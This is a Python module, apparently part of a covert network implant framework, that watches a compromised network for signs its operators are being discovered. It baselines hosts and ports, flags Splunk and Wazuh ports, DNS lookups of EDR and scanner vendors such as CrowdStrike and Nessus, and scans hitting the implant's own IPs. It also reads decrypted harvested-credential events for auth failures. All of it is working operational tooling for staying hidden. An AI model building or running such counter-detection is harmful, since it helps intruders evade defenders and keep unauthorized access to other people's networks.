#!/usr/bin/env python3
"""Network change detection — continuous diff against baseline state.

Critical for BURN DETECTION.  Alerts on new hosts, disappeared hosts,
new services, new open ports, security tool traffic, scan activity
targeting the implant subnet, and unusual auth patterns.

Publishes CHANGE_DETECTED events with severity levels.
"""

import json
import logging
import os
import sqlite3
import threading
import time
from collections import defaultdict
from typing import Optional

from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found

logger = logging.getLogger(__name__)

_SCHEMA = """
CREATE TABLE IF NOT EXISTS changes (
    id          INTEGER PRIMARY KEY AUTOINCREMENT,
    timestamp   REAL    NOT NULL,
    change_type TEXT    NOT NULL,
    severity    TEXT    NOT NULL DEFAULT 'info',
    description TEXT    NOT NULL,
    old_value   TEXT    DEFAULT '',
    new_value   TEXT    DEFAULT '',
    target_ip   TEXT    DEFAULT '',
    acknowledged INTEGER DEFAULT 0
);

CREATE INDEX IF NOT EXISTS idx_changes_ts   ON changes(timestamp);
CREATE INDEX IF NOT EXISTS idx_changes_sev  ON changes(severity);
CREATE INDEX IF NOT EXISTS idx_changes_type ON changes(change_type);

CREATE TABLE IF NOT EXISTS baseline_hosts (
    ip          TEXT PRIMARY KEY,
    hostname    TEXT DEFAULT '',
    mac         TEXT DEFAULT '',
    os_family   TEXT DEFAULT '',
    open_ports  TEXT DEFAULT '[]',
    services    TEXT DEFAULT '[]',
    first_seen  REAL NOT NULL,
    last_seen   REAL NOT NULL
);

CREATE TABLE IF NOT EXISTS baseline_services (
    ip          TEXT NOT NULL,
    port        INTEGER NOT NULL,
    protocol    TEXT DEFAULT 'tcp',
    service     TEXT DEFAULT '',
    banner      TEXT DEFAULT '',
    first_seen  REAL NOT NULL,
    PRIMARY KEY (ip, port, protocol)
);
"""

# Change types and their default severity
_CHANGE_SEVERITY = {
    "new_host":             "info",
    "host_disappeared":     "warning",
    "new_service":          "info",
    "new_port":             "info",
    "service_disappeared":  "info",
    "security_tool_traffic": "critical",
    "scan_detected":        "critical",
    "unusual_auth":         "warning",
    "mac_change":           "warning",
    "os_change":            "warning",
    "mass_port_scan":       "critical",
    "arp_anomaly":          "critical",
}

# Ports/services that indicate security tool deployment
_SECURITY_TOOL_PORTS = {
    8088: "splunk_hec",
    8089: "splunk_mgmt",
    9997: "splunk_forwarder",
    1514: "wazuh_agent",
    1515: "wazuh_enrollment",
    55000: "wazuh_api",
    514: "syslog",
    6514: "syslog_tls",
    443: None,  # too generic, needs hostname corroboration
}

# DNS patterns suggesting security tool investigation
_SECURITY_DNS_PATTERNS = (
    "nessus", "qualys", "rapid7", "tenable", "crowdstrike",
    "sentinelone", "carbonblack", "cybereason", "sophos",
    "defender", "wireshark", "zeek", "suricata", "snort",
)

# Scan detection: many ports from a single source in short time
_SCAN_THRESHOLD_PORTS = 50       # ports in window = scan
_SCAN_THRESHOLD_WINDOW = 60.0    # seconds


class ChangeDetector(BaseModule):
    """Detect network changes against baseline — critical for burn detection."""

    name = "change_detector"
    module_type = "intel"
    priority = 50  # Critical priority
    requires_root = False

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._db_path = ""
        self._conn: Optional[sqlite3.Connection] = None
        self._lock = threading.Lock()
        self._monitor_thread: Optional[threading.Thread] = None
        self._baseline_built = False
        self._change_count = 0

        # Scan detection tracking: source_ip -> [(timestamp, dst_port)]
        self._port_attempts: dict[str, list] = defaultdict(list)

        # Our implant's IPs for self-protection monitoring
        self._implant_ips: set = set()

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
        self._db_path = os.path.join(base_dir, "change_detector.db")
        os.makedirs(os.path.dirname(self._db_path), exist_ok=True)

        self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
        self._conn.execute("PRAGMA journal_mode=WAL")
        self._conn.execute("PRAGMA synchronous=NORMAL")
        self._conn.row_factory = sqlite3.Row
        self._conn.executescript(_SCHEMA)

        # Load implant IPs from config
        self._implant_ips = set(self.config.get("implant_ips", []))

        # Check if baseline exists
        row = self._conn.execute("SELECT COUNT(*) FROM baseline_hosts").fetchone()
        self._baseline_built = row[0] > 0

        # Subscribe to events
        self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
        self.bus.subscribe(self._on_credential_found, "CREDENTIAL_FOUND")

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        # Monitor thread for periodic diffing
        self._monitor_thread = threading.Thread(
            target=self._monitor_loop, daemon=True,
            name="sensor-change-detector",
        )
        self._monitor_thread.start()

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info(
            "ChangeDetector started — baseline=%s, db=%s",
            "loaded" if self._baseline_built else "empty", self._db_path,
        )

    def stop(self) -> None:
        if not self._running:
            return
        self._running = False

        self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
        self.bus.unsubscribe(self._on_credential_found, "CREDENTIAL_FOUND")

        if self._conn:
            self._conn.close()
            self._conn = None

        self.state.set_module_status(self.name, "stopped")
        logger.info("ChangeDetector stopped — %d changes recorded", self._change_count)

    def status(self) -> dict:
        change_count = 0
        critical_count = 0
        if self._conn:
            try:
                with self._lock:
                    row = self._conn.execute(
                        "SELECT COUNT(*) FROM changes"
                    ).fetchone()
                    change_count = row[0] if row else 0
                    row = self._conn.execute(
                        "SELECT COUNT(*) FROM changes WHERE severity='critical'"
                    ).fetchone()
                    critical_count = row[0] if row else 0
            except Exception:
                pass

        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "baseline_built": self._baseline_built,
            "total_changes": change_count,
            "critical_changes": critical_count,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)
        self._implant_ips = set(config.get("implant_ips", self._implant_ips))

    # ------------------------------------------------------------------
    # Baseline management
    # ------------------------------------------------------------------

    def build_baseline(self) -> int:
        """Snapshot current known hosts and services as the baseline.

        Returns:
            Number of hosts in the baseline.
        """
        hosts_json = self.state.get("host_discovery", "discovered_hosts")
        if not hosts_json:
            logger.warning("No host discovery data available for baseline")
            return 0

        try:
            hosts = json.loads(hosts_json)
        except (json.JSONDecodeError, TypeError):
            return 0

        with self._lock:
            # Clear existing baseline
            self._conn.execute("DELETE FROM baseline_hosts")
            self._conn.execute("DELETE FROM baseline_services")

            now = time.time()
            for host in hosts:
                ip = host.get("ip", "")
                if not ip:
                    continue

                ports = host.get("open_ports", [])
                services = host.get("services", [])

                self._conn.execute(
                    """INSERT OR REPLACE INTO baseline_hosts
                       (ip, hostname, mac, os_family, open_ports, services,
                        first_seen, last_seen)
                       VALUES (?, ?, ?, ?, ?, ?, ?, ?)""",
                    (ip, host.get("hostname", ""), host.get("mac", ""),
                     host.get("os_family", ""), json.dumps(ports),
                     json.dumps(services), now, now),
                )

                for port in ports:
                    self._conn.execute(
                        """INSERT OR REPLACE INTO baseline_services
                           (ip, port, protocol, service, first_seen)
                           VALUES (?, ?, 'tcp', '', ?)""",
                        (ip, port, now),
                    )

            self._conn.commit()
            self._baseline_built = True

        count = len(hosts)
        logger.info("Baseline built with %d hosts", count)
        return count

    # ------------------------------------------------------------------
    # Event handlers
    # ------------------------------------------------------------------

    def _on_host_discovered(self, event) -> None:
        """Check a newly discovered host against baseline."""
        if not self._baseline_built:
            return

        p = event.payload
        ip = p.get("ip", "")
        if not ip:
            return

        with self._lock:
            # Check if host is in baseline
            row = self._conn.execute(
                "SELECT * FROM baseline_hosts WHERE ip = ?", (ip,)
            ).fetchone()

            if not row:
                # NEW HOST
                self._record_change(
                    change_type="new_host",
                    description=f"New host discovered: {ip} "
                                f"(hostname={p.get('hostname', '')}, "
                                f"mac={p.get('mac', '')})",
                    new_value=json.dumps(p),
                    target_ip=ip,
                )
            else:
                # Existing host — check for changes
                baseline_mac = row["mac"]
                new_mac = p.get("mac", "")
                if baseline_mac and new_mac and baseline_mac != new_mac:
                    self._record_change(
                        change_type="mac_change",
                        description=f"MAC changed on {ip}: "
                                    f"{baseline_mac} -> {new_mac}",
                        old_value=baseline_mac,
                        new_value=new_mac,
                        target_ip=ip,
                        severity="warning",
                    )

                baseline_os = row["os_family"]
                new_os = p.get("os_family", "")
                if baseline_os and new_os and baseline_os != new_os:
                    self._record_change(
                        change_type="os_change",
                        description=f"OS changed on {ip}: "
                                    f"{baseline_os} -> {new_os}",
                        old_value=baseline_os,
                        new_value=new_os,
                        target_ip=ip,
                    )

                # Check for new ports
                try:
                    baseline_ports = set(json.loads(row["open_ports"]))
                except (json.JSONDecodeError, TypeError):
                    baseline_ports = set()

                new_ports = set(p.get("open_ports", []))
                added_ports = new_ports - baseline_ports

                for port in added_ports:
                    sev = "info"
                    desc = f"New port {port} on {ip}"

                    # Check if it's a security tool port
                    if port in _SECURITY_TOOL_PORTS:
                        tool = _SECURITY_TOOL_PORTS[port]
                        if tool:
                            sev = "critical"
                            desc = f"SECURITY TOOL: {tool} port {port} on {ip}"

                    self._record_change(
                        change_type="new_port",
                        description=desc,
                        new_value=str(port),
                        target_ip=ip,
                        severity=sev,
                    )

    def _on_credential_found(self, event) -> None:
        """Monitor for unusual authentication patterns."""
        p = event.payload
        from utils.credential_encryption import decrypt_credential_payload
        p = decrypt_credential_payload(p)
        # Track rapid auth failures from unknown sources as investigation indicator
        if p.get("cred_type") == "auth_failure":
            src = p.get("source_ip", "")
            target = p.get("target_ip", "")
            self._record_change(
                change_type="unusual_auth",
                description=f"Auth failure: {src} -> {target} "
                            f"(user={p.get('username', '')})",
                target_ip=target,
                severity="warning",
            )

    # ------------------------------------------------------------------
    # Connection / scan monitoring
    # ------------------------------------------------------------------

    def ingest_connection_attempt(self, src_ip: str, dst_ip: str,
                                   dst_port: int, timestamp: float = None) -> None:
        """Track connection attempts for scan detection.

        Called by passive modules watching network traffic.
        """
        ts = timestamp or time.time()

        # Check for scans targeting our implant
        if dst_ip in self._implant_ips:
            self._record_change(
                change_type="scan_detected",
                description=f"Connection to implant IP {dst_ip}:{dst_port} "
                            f"from {src_ip}",
                target_ip=dst_ip,
                severity="critical",
            )

        # Track port scan patterns
        with self._lock:
            attempts = self._port_attempts[src_ip]
            attempts.append((ts, dst_port))

            # Prune old entries
            cutoff = ts - _SCAN_THRESHOLD_WINDOW
            self._port_attempts[src_ip] = [
                (t, p) for t, p in attempts if t > cutoff
            ]

            # Check for scan pattern
            recent = self._port_attempts[src_ip]
            unique_ports = len(set(p for _, p in recent))

            if unique_ports >= _SCAN_THRESHOLD_PORTS:
                self._record_change(
                    change_type="mass_port_scan",
                    description=f"Port scan from {src_ip}: "
                                f"{unique_ports} unique ports in "
                                f"{_SCAN_THRESHOLD_WINDOW}s",
                    target_ip=src_ip,
                    severity="critical",
                )
                # Reset to avoid flood
                self._port_attempts[src_ip] = []

    def ingest_dns_query(self, query_name: str, client_ip: str = "") -> None:
        """Check DNS queries for security tool investigation indicators."""
        query_lower = query_name.lower()
        for pattern in _SECURITY_DNS_PATTERNS:
            if pattern in query_lower:
                self._record_change(
                    change_type="security_tool_traffic",
                    description=f"Security tool DNS query: {query_name} "
                                f"from {client_ip}",
                    new_value=query_name,
                    target_ip=client_ip,
                    severity="critical",
                )
                break

    # ------------------------------------------------------------------
    # Monitor loop
    # ------------------------------------------------------------------

    def _monitor_loop(self) -> None:
        """Periodic monitoring: check for disappeared hosts, etc."""
        interval = self.config.get("change_check_interval", 300)
        while self._running:
            time.sleep(interval)
            try:
                if self._baseline_built:
                    self._check_disappeared_hosts()
                    self._prune_scan_tracking()
            except Exception:
                logger.exception("Change detector monitor cycle failed")

    def _check_disappeared_hosts(self) -> None:
        """Check if any baseline hosts have disappeared."""
        # Get current known hosts from host_discovery
        current_json = self.state.get("host_discovery", "discovered_hosts")
        if not current_json:
            return

        try:
            current_hosts = json.loads(current_json)
            current_ips = {h.get("ip") for h in current_hosts if h.get("ip")}
        except (json.JSONDecodeError, TypeError):
            return

        with self._lock:
            baseline_rows = self._conn.execute(
                "SELECT ip, hostname FROM baseline_hosts"
            ).fetchall()

            for row in baseline_rows:
                ip = row["ip"]
                if ip not in current_ips:
                    # Check if we already recorded this disappearance recently
                    recent = self._conn.execute(
                        """SELECT id FROM changes
                           WHERE change_type='host_disappeared' AND target_ip=?
                           AND timestamp > ?""",
                        (ip, time.time() - 3600),
                    ).fetchone()

                    if not recent:
                        hostname = row["hostname"]
                        self._record_change(
                            change_type="host_disappeared",
                            description=f"Baseline host disappeared: {ip} "
                                        f"({hostname})",
                            old_value=ip,
                            target_ip=ip,
                        )

    def _prune_scan_tracking(self) -> None:
        """Remove stale scan tracking data to limit memory usage."""
        cutoff = time.time() - (_SCAN_THRESHOLD_WINDOW * 2)
        with self._lock:
            stale = [
                ip for ip, attempts in self._port_attempts.items()
                if not attempts or attempts[-1][0] < cutoff
            ]
            for ip in stale:
                del self._port_attempts[ip]

    # ------------------------------------------------------------------
    # Change recording
    # ------------------------------------------------------------------

    def _record_change(self, change_type: str, description: str,
                       old_value: str = "", new_value: str = "",
                       target_ip: str = "", severity: str = None) -> None:
        """Record a detected change and publish an event."""
        if severity is None:
            severity = _CHANGE_SEVERITY.get(change_type, "info")

        now = time.time()
        self._change_count += 1

        try:
            self._conn.execute(
                """INSERT INTO changes
                   (timestamp, change_type, severity, description,
                    old_value, new_value, target_ip)
                   VALUES (?, ?, ?, ?, ?, ?, ?)""",
                (now, change_type, severity, description,
                 old_value, new_value, target_ip),
            )
            self._conn.commit()
        except Exception:
            logger.exception("Failed to record change")
            return

        # Publish event
        self.bus.emit("CHANGE_DETECTED", {
            "change_type": change_type,
            "severity": severity,
            "description": description,
            "target_ip": target_ip,
            "old_value": old_value,
            "new_value": new_value,
        }, source_module=self.name)

        if severity == "critical":
            logger.critical("BURN RISK: %s", description)
        elif severity == "warning":
            logger.warning("Change: %s", description)
        else:
            logger.info("Change: %s", description)

    # ------------------------------------------------------------------
    # Query interface
    # ------------------------------------------------------------------

    def get_changes(self, severity: str = None, change_type: str = None,
                    since: float = 0, limit: int = 100) -> list:
        """Query recorded changes with optional filters."""
        clauses = ["timestamp > ?"]
        params: list = [since]

        if severity:
            clauses.append("severity = ?")
            params.append(severity)
        if change_type:
            clauses.append("change_type = ?")
            params.append(change_type)

        where = " AND ".join(clauses)
        params.append(limit)

        with self._lock:
            rows = self._conn.execute(
                f"""SELECT * FROM changes
                    WHERE {where}
                    ORDER BY timestamp DESC LIMIT ?""",
                params,
            ).fetchall()

        return [dict(r) for r in rows]

    def get_critical_changes(self, hours: float = 24.0) -> list:
        """Get critical changes in the last N hours."""
        since = time.time() - (hours * 3600)
        return self.get_changes(severity="critical", since=since)

    def get_summary(self) -> dict:
        """Return change detection summary."""
        with self._lock:
            rows = self._conn.execute(
                """SELECT severity, COUNT(*) FROM changes
                   GROUP BY severity"""
            ).fetchall()
            by_type = self._conn.execute(
                """SELECT change_type, COUNT(*) FROM changes
                   GROUP BY change_type"""
            ).fetchall()

        return {
            "total": sum(c for _, c in rows),
            "by_severity": {s: c for s, c in rows},
            "by_type": {t: c for t, c in by_type},
            "baseline_built": self._baseline_built,
        }
